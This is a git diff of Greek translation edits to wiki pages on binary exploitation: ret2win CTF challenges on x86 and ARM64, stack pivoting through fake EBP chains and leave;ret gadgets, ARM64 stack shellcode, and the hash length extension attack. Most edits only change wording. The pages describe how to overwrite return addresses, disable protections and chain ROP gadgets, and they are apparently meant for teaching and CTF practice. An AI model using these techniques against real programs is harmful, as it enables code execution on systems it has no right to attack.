επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα: +Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι σαν `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα: ### C Example -Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε: +Consider a simple C program with a vulnerability and a `win` function that we intend to call: ```c #include #include @@ -32,7 +32,7 @@ return 0; gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF). -- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβας. +- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στοίβας. - `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα. - `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει. - `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`. @@ -65,11 +65,11 @@ objdump -d vulnerable | grep win ``` Αυτή η εντολή θα σας δείξει τη συναρμολόγηση της `win` συνάρτησης, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της. -Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στο stack με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται. +Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στη στοίβα με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται. ## Προστασίες -- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής. +- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι η `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής. - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ. ## Άλλα παραδείγματα & Αναφορές @@ -82,17 +82,17 @@ objdump -d vulnerable | grep win - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 bits, χωρίς ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει το stack και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης +- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει τη στοίβα και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) -- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win +- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) -- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win +- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσει τη συνάρτηση win (ret2win) +- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσει τη συνάρτηση win (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - arm64, PIE, δίνει μια διαρροή PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) @@ -100,6 +100,7 @@ objdump -d vulnerable | grep win ## Παράδειγμα ARM64 + {{#ref}} ret2win-arm64.md {{#endref}} diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 9c0583591..b26468113 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -31,13 +31,13 @@ return 0; ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` -## Εύρεση του offset +## Εύρεση της απόκλισης -### Επιλογή μοτίβου +### Επιλογή προτύπου Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef): -Εκκινήστε το gdb με το gef, δημιουργήστε ένα μοτίβο και χρησιμοποιήστε το: +Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το: ```bash gdb -q ./ret2win pattern create 200 @@ -64,14 +64,14 @@ info frame ```
-Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως το 13371337: +Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337: ``` b *vulnerable_function+28 c ```
-Βρείτε πού είναι αποθηκευμένο αυτό το μοτίβο στη μνήμη: +Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
@@ -113,7 +113,7 @@ p.close() ### Off-by-1 -Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στο stack. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`. +Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`. ```python from pwn import * diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 8b656c467..82bf6a98e 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,7 +4,7 @@ ## Basic Information -Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του δείκτη πλαισίου και της ακολουθίας εντολών **`leave; ret`**. +Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών **`leave; ret`**. Ως υπενθύμιση, στο x86/x86-64 **`leave`** είναι ισοδύναμο με: ``` @@ -22,9 +22,9 @@ ret Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP**. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης. -Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση. +Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που αποθηκεύεται από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση. -Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που είναι αποθηκευμένη σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`. +Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που αποθηκεύεται σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`. #### Κατασκευή Εκμετάλλευσης @@ -41,15 +41,15 @@ ret #### Εκμετάλλευση Off-By-One -Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να πηδήξει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή. +Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να μεταπηδήσει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή. Είναι επίσης κοινό να χρησιμοποιείται μια RET sled στη στοίβα και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο RSP δείχνει μέσα στη sled και η τελική ROP αλυσίδα εκτελείται. ### EBP Chaining -Τοποθετώντας μια ελεγχόμενη διεύθυνση στη σωστή θέση `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**. +Τοποθετώντας μια ελεγχόμενη διεύθυνση στη θέση του αποθηκευμένου `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**. -Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη ελεγχόμενη μνήμη κάτι όπως: +Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη μνήμη που ελέγχετε κάτι όπως: - `&(next fake EBP)` -> Φορτωμένο από `pop ebp/rbp` από το `leave`. - `&system()` -> Καλείται από το `ret`. @@ -58,9 +58,9 @@ ret Με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος. -Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε περιθωριακές περιπτώσεις. +Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε ακραίες περιπτώσεις. -Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα: +Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα: ```python from pwn import * @@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ret # return ``` -On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραληφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot. +On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραλειφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot. ## Άλλοι τρόποι ελέγχου του RSP @@ -210,7 +210,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits: -1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγ writable περιοχή (π.χ., `.bss`, heap, ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP. +1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγγράψιμη περιοχή (π.χ., `.bss`, heap ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP. 2) Επιστρέψτε σε ένα gadget pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) για να μετακινήσετε το RSP σε αυτήν την περιοχή. 3) Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε `mprotect`, στη συνέχεια `read` shellcode, στη συνέχεια πηδήξτε σε αυτό). @@ -218,7 +218,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το **CET Shadow Stack (SHSTK)**. Με το SHSTK ενεργοποιημένο, το `ret` συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο `ret` από μια pivoted stack. -- Για υπόβαθρο και πιο λεπτομερείς λεπτομέρειες δείτε: +- Για υπόβαθρο και πιο λεπτομερείς πληροφορίες δείτε: {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -242,15 +242,15 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr - Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετρήσεις σε παραγωγικούς στόχους. - Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους `ret`-βασισμένους άξονες. -- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με το CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά). +- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά). ## ARM64 -Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το SP register** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**. +Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το καταχωρητή SP** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύει το SP, αλλά **στη διεύθυνση μέσα στο `x30`**. -Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το SP register** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμα κι αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το `x30`** register. +Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε τον καταχωρητή SP** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε τον καταχωρητή `x30`**. -- προλόγος +- πρόλογος ```armasm sub sp, sp, 16 @@ -267,9 +267,9 @@ ret ``` > [!CAUTION] -> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο register του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **`x30`** register από ένα **ελεγχόμενο `SP`** και να **`RET`** σε αυτό. +> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιον καταχωρητή του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε τον καταχωρητή **`x30`** από έναν **ελεγχόμενο `SP`** και να **`RET`** σε αυτόν. -Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**: +Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md @@ -282,7 +282,7 @@ ret - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bits, off by one exploitation with a rop chain starting with a ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρίσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί περιστρέφοντας με RBP. +- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και τελικά καλείται περιστρέφοντας με RBP. - Τεκμηρίωση πυρήνα Linux: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες σχετικά με το SHSTK, `nousershstk`, `/proc/$PID/status` flags, και ενεργοποίηση μέσω `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index f7514ec5c..53c3948be 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -27,7 +27,7 @@ return 0; ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` -## No ASLR & No canary - Stack Overflow +## Χωρίς ASLR & Χωρίς canary - Stack Overflow Για να σταματήσετε το ASLR εκτελέστε: ```bash diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 49823e7c8..066d71b59 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -13,16 +13,16 @@ - Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης - Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού -Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**. +Τότε, είναι δυνατόν για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**. ### Πώς; Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**. -Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", ο MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\ +Φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", το MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\ Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να: -- Δημιουργήσει έναν MD5 από 64 "A"s +- Δημιουργήσει ένα MD5 από 64 "A"s - Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου 